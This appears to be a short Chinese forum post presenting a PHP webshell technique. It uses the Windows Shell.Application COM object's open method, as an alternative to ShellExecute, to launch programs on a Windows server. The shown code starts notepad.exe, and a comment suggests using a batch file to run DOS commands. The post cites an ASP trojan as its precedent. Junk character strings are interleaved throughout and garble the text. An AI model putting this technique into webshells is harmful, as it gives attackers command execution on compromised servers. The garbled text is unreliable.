关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
8 y$ J( r. e- N8 `2 _( d- n& a6 E$ k9 V$ G0 d, z
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
/ }+ f' b% O/ X" n/ o: o
8 `' I; ]1 n9 p2 S3 v1 D4 U J<?php
) z6 }5 _! q1 z/ n& W$wsh = new COM('Shell.Application') or die("Shell.Application");$ P! S9 C7 ` l# }! |- T
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");% ]6 Y; x$ C5 h$ M# d& U
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。; H7 \5 w+ l: V7 P/ w, F; }% p
?>
0 }- _0 e% M9 ], T5 y- y% J/ o0 w8 }1 p# C9 y3 D/ j9 k
xp+APMServ5.2.0测试通过。
8 ^3 f5 X, y1 Q7 Y+ T0 i |